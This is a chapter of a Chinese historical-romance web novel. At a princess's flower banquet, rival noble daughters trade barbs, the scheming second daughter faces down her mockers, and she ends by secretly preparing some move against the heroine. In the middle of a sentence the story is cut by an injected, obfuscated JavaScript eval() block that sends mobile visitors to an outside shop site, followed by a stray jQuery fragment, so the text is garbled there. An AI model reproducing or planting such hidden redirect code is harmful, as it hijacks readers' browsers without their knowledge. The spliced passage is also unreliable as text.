赏花宴当日,公主府门口的车马从辰时就没断过。
车帘一掀一落,下来的不是某家的小姐就是某家的公子,珠翠晃眼。衣香混着晨露的潮气,从大门一路铺到前院。
廊下的丫鬟端着茶盘来回跑,忙的脚不沾地。
花厅里早到的几位小姐已经坐在一处说笑了,隔着半条回廊都能听见。
容樾是带着丫鬟侍卫独自前来的。
她的马车刚停下,守在门口的管家李霖就认出了马车上清和园的标识旗,他忙迎上去。
“奴才李霖,恭迎郡主。”
容樾在南絮的搀扶下走下马车,祁遇寸步不离的跟在她身侧。
她说道:“李管家。”
“郡主,公主一早就吩咐奴才在此等候郡主,郡主,这边请。”
“劳烦李管家带路。”
容樾刚跨进门,容馨瑶和容钊玉的马车也停下了。
容馨瑶掀开帘子的一角,刚好看到李霖引着容越往里走。
她眉眼暗了一些。
从前她来公主府,李霖都没有这般早在等候引着她进去。
这个容樾……
容钊玉先下马车。
清霜掀开帘子,容钊玉过去探出手半天却不见容馨瑶搭手下来。
他顺着她的视线,只看到了容樾和李霖转角的衣摆。
“瑶瑶,我们到了,下来吧。”
容馨瑶被提醒才把手搭在容钊玉手心,下车的时候她察觉到容钊玉的余光一直锁定在门口。
她说:“阿兄,三妹妹刚刚进去了,我们也进去吧。”
“好。”容钊玉松开她,理了理衣袍。他问道:“方才出门时你说有些心慌,现下如何了?”
“李大夫说我就是有些焦虑,不碍事的。”
“没事就好。”
容馨瑶说:“说来也是我不好。阿兄原先答应了三妹妹要一起来参加赏花宴的,结果我身子骨不争气,倒让三妹妹一个人先过来了。”
容钊玉拍了拍她的额头,说道:“樾儿一向懂事,她……她不会计较这些的。”
“阿兄这么说,我就放心了 ”
“时辰不早了,走吧。”容钊玉说完就大踏步往前走,走了一段路之后像是才发现容馨瑶没跟上,又放慢了脚步等她一起进去。
花厅,容樾一进去,原先坐着说话的几个贵女小姐都纷纷起身行礼问好。
“见过郡主。”
“郡主您来了。”
容樾微微颔首,打过招呼。她眼神扫过四周,最后停在了一直盯着她的林雅辞身上。
被发现偷看,林雅辞梗着脖子跟她对视。“郡主看着我作甚?”
“有段时间没见林小姐了。”
“呵呵,郡主记性可真好。”
容樾收回视线,寻了个安静的角落刚坐下,就看见来人了。
晋阳公主的贴身侍女观棋从长廊处走来。她行了一礼,笑道:“各位小姐,陛下急召,公主一刻钟前入宫面圣了,片刻后便回来。”
“公主说了,赏花宴照旧,请各位小姐公子稍等片刻。”
李雪姿站出来,她说:“面圣要紧。公主这里的花儿开的极好,我们便在此处自行观赏等候就是了。”
各家贵女见此也各自散开,说笑谈论的声音小了不少。
容樾对此不甚在意,她坐着施施然喝茶。
这时,门口又传来骚动。
是容钊玉和容馨瑶来了。
几乎是在容馨瑶踏进花厅的那一刻,那些打量,鄙夷,不屑的目光就像针一样扎在她身上。
容钊玉上前几步想替她挡掉那些人的视线却被容馨瑶轻轻拽了拽袖子。
她温声说道:“阿兄,你方才不是说看到了昔日同窗好友想去打声招呼吗?你快去吧。”
“可是我不放心你。”容钊玉扫了一眼那些贵女千金,眉心皱的死死的。
”不碍事的,阿兄,你去吧。”
“那好,我去去就回。要是有人欺负你,你便喊我,我就在附近。”
容钊玉说完眼神警告了一番众人才迈步走向男子席。
目送容钊玉离开后,容馨瑶自然的过去。“各位姐姐,许久未见了,不知近日可好?”
最先说话的是张家小姐,她道:“二小姐也来了,我们正念叨着好久没见你了呢。”
礼部尚书之女赵静姝说:“听说二小姐这段时日被禁足在府中,今日能来参加公主的赏花宴,想来也是无事了吧?”
容馨瑶刚要回答却被一道声音截断。
苏将军之女苏楠从花厅另一侧走来,她笑道:“能有什么事啊?二小姐金贵得很,随便掉几滴眼泪就有兄长护着。”
“哪像咱们几个啊,把嗓子哭哑了也没人疼。赵小姐,你说是不是啊?”
“哈哈,苏小姐可真爱说笑。我们怎么能跟人家二小姐比呢?”赵静姝娇娇一笑,优雅的甩了甩手里的帕子。
苏楠哼了一声,说道:“也是,那种地方出来的腌臜手段,我们可学不来。”
赵静姝深表赞同,她眼尾一挑,看见了一旁的任思思,顿感晦气。但她眼珠子一转,她便道:“诶?这不是任小姐吗?往日这样场合,不都是任大小姐来吗?今儿,倒是稀奇。”
另一个家族的贵女会意,立刻接过话茬。她道:“我记得认二小姐不是一直被家里的嫡姐压的抬不起头。要不,你跟二小姐取取经,说不定学了些手段就能麻雀变凤凰了,哈哈哈。”
众人闻言笑成一团。
谁都知道,任思思的母亲是粗使婢女上位,气死了原来的任夫人不说,还不停挤兑人家嫡女,想尽了办法讨任大人欢心却收效甚微。
可这任家嫡小姐也不是个任人拿捏的软柿子,几年下来,就给他们母女俩收拾的明明白白。
任思思一听这话,顿时来了兴致。也顾不上什么场合,就些激动的上前拽着容馨瑶的袖子。
她道:“容小姐,你既然这么厉害,不如也教教我吧。我那嫡姐心思阴沉,我根本斗不过她。”
“求求你,也教教我怎么做吧。哦,我不会让你白教的,我可以给你钱,多少都行。只要你教会我怎么哄骗爹爹厌弃嫡姐就行。”
任思思的话引得哄堂大笑。
容樾放下凉透的茶杯,看了一眼容馨瑶。
视线撞上的那一刻,容馨瑶笑意不变,甚至从容的看着任思思。她语调不高却能让在场之人都听清。
“任小姐想学,我自然愿教。只是我教人,头一条规矩就是:先学做人,再学手段。”
她抽回自己的袖子,整理好袖口说道:“你方才说你嫡姐心思阴沉,你斗不过她。可我却听闻,任家大小姐这些年从未主动害过你们母女。”
“她不过是把你们使的那些手段一一挡了回去。若她当真阴沉,你今日哪还有力气站在这里求我教你?”
任思思脸色一变,张了张嘴,却被容馨瑶一个眼神定在原地。
“你说想哄骗任大人厌弃你嫡姐?任小姐,我若应了你,你说,明日京城里会怎么传?是说容家二小姐教庶女构陷嫡姐?还是说容家女儿专教人一些下作的门道?”
她顿了顿,目光扫过方才笑作一团的苏楠和赵静姝,那两人不知何时已收了笑。
“我容馨瑶今日便教任小姐一件事:有些东西,不是靠学几个手段就能翻身的。嫡庶之别,不在名分,是在骨子里。你母亲都教不会你的,我更教不会。”
语毕,满堂寂静。
任思思更是脸色煞白,踉跄着退了两步。
“说的比唱的好听,你自己不也是那样登堂入室的。”赵静姝不甘心的嘟囔了一句。
容馨瑶既不反驳也不承认,她能站到今天的位置,靠的可从来不是什么“做人”。
从前读书时,书卷里的那句:为达目的可以不择手段,因为结局可以为手段辩护。她可是记得清清楚楚。
只要目的正确,就算不择手段又如何?
远处,一个玄衣少年撞了撞一旁的容钊玉,说道:“钊玉,你这个妹妹倒是比那些闺阁女子强得多啊。”
容钊玉没有回应好友的话,他看着容馨瑶笔直又单薄的身影愣住了。
从前,她受了委屈会第一个找他诉苦,如今都能支开他,自己应对了。
她是不是……
“我跟你说话呢,发什么呆啊?”玄衣少年推了他一下。
“你说什么?”
玄衣少年吊儿郎当的勾了一下他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942119|210089||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的脖子,说:“你这个妹妹,可有婚配了?”
“冷邵阳,那是我妹妹。你什么货色你自己心里清楚。你要是敢打她的主意,就别怪我不念多年情分。”
容钊玉甩开他的手臂,大踏步走向容馨瑶。
冷邵阳舌尖抵了抵腮帮子,小声说道:“钊玉,你越是护着,我就越想得到她。”
容钊玉回到容馨瑶身边后,挡在她面前。他淡漠的扫了一眼赵静姝,说道:“赵小姐可是对我的妹妹有意见?”
“容大公子。”赵静姝见他回来,僵笑了几声,她说:“方才不过是姐妹之间开个玩笑罢了,容大公子莫要见怪。”
“阿兄,已经没事了。”容馨瑶轻声说道。
“是开玩笑还是存心羞辱,赵小姐心知肚明。”
赵静姝被他这一眼看的心慌,往苏楠身边挪了挪。
苏楠侧身挡着赵静姝,她说:“赵小姐不过是说话直了些,容大公子何必跟她一般见识?你反应这么大,这不知道的还以为这二小姐才是你亲妹妹呢。”
她说着又瞥了一眼坐在角落里的容樾,扬声道:“同样都是妹妹,容大公子这可就有些厚此薄彼了。”
容钊玉下意识看着容樾,原先的气势渐渐弱了下去。
“郡主,茶凉了。”南絮拿走她手里的茶杯,换了一杯新茶放在桌上。
容樾手指敲了敲杯壁,她的视线越过赵静姝看向苏楠,她道:“大哥要照顾几个姊妹,确实辛苦。”
她说着又端起那杯茶,看着茶面。“不过,我大哥对我们几个妹妹怎么样,是我们的容家的家事。怎么,苏小姐对本郡主的家事有兴趣?”
苏楠笑弯了眼,她说:“郡主这话说的,既是你的家事,我一个外人自然是不能评判的。”
“不过,郡主是辅成王之妹,身份高贵,又得陛下欢心,自然是心胸宽广。相必,郡主也不会跟我们计较这点微末的失言吧?”
容樾喝了一口茶,才说:“苏小姐既然知道是失言,那这样惹人误会的话,日后还是少说些的为好。”
“郡主的话,我记下了。”
“嗯。”
全场寂静无声,各家小姐公子的视线都在几个人之间来回切换,唯有越珣。
从始至终,就锁定了容樾一人。
“樾儿……”容钊玉极轻的喊了一声,却无人听见。
容樾放下杯子,她看了一眼容馨瑶跟容钊玉。
前者依旧从容不迫,可在看不见的角落里,她的手指却揪着容钊玉的一点衣袖。
后者既没有抽出袖子也没有回头看,只是护在她身前,眼睫毛眨个不停。
上辈子能活到最后的女人,果然不会是什么简单的角色。
这分寸和胆气,可不像是一朝一夕能练出来的。
三皇子还真是会调教人啊。
“什么话记下了?”
花厅所有人都起身,恭敬的对着迎面走来的晋阳公主行了一礼。
“见过公主。”
“免礼。”晋阳公主摆摆手,她径直走到容樾面前拉起她的手说道:“阿樾,我回来晚了,没人欺负你吧?”
她上下左右仔仔细细的打量了一圈容樾,又见她说没事,嘴角才有了一丝小笑意。
晋阳公主看向其他人,尤其是容家兄妹。她说:“方才就瞧见你们聚在一处儿,有什么新鲜事不妨也说给我听听。”
在场之人互相对视一眼,又默契的各自移开视线。
容樾笑道:“公主,方才不过是大家聚在一块儿说说玩笑而已,并不是什么有趣的事儿。”
晋阳公主听到容樾都这样说才收回视线。她说:“好了,都别站着了,入座吧。”
众人各自寻找位置入座。
“小姐,东西都准备好了。”清霜趁着入座的间隙凑到容馨瑶耳边低声说着。
“嗯,处理干净,别让人查到我头上。”容馨瑶说完坐下,看着容樾跟晋阳公主说笑的模样,心中憋闷。
“小姐,这可是公主的赏花宴,万一,万一事情败露……”清霜越说越小声。
“ 不成功便成仁,东西给我。”容馨瑶攥紧手里的东西,笑的甜美。
敢看我的笑话,那我就让你变成笑话。